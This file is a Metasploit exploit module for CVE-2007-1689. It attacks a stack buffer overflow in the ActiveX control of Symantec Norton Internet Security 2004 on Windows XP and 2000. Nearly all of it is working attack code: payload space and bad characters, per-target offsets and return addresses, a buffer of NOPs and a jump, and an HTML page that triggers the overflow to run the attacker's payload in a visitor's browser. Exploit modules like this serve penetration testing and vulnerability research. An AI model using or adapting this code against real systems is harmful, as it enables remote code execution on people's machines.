##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX
        Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.
        By sending an overly long string to the "Get()" method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-1689' ],
          [ 'OSVDB', '36164'],
          [ 'URL', 'http://securityresponse.symantec.com/avcenter/security/Content/2007.05.16.html' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 272, 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English All',       { 'Offset' => 272, 'Ret' => 0x75022ac4 } ],
        ],
      'DisclosureDate' => 'May 16 2007',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(target['Offset']) + Rex::Arch::X86.jmp_short(12)
    sploit << make_nops(2) + [target.ret].pack('V') + p.encoded

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:BE39AEFD-5704-4BB5-B1DF-B7992454AB7E' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.Get(#{strname});
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
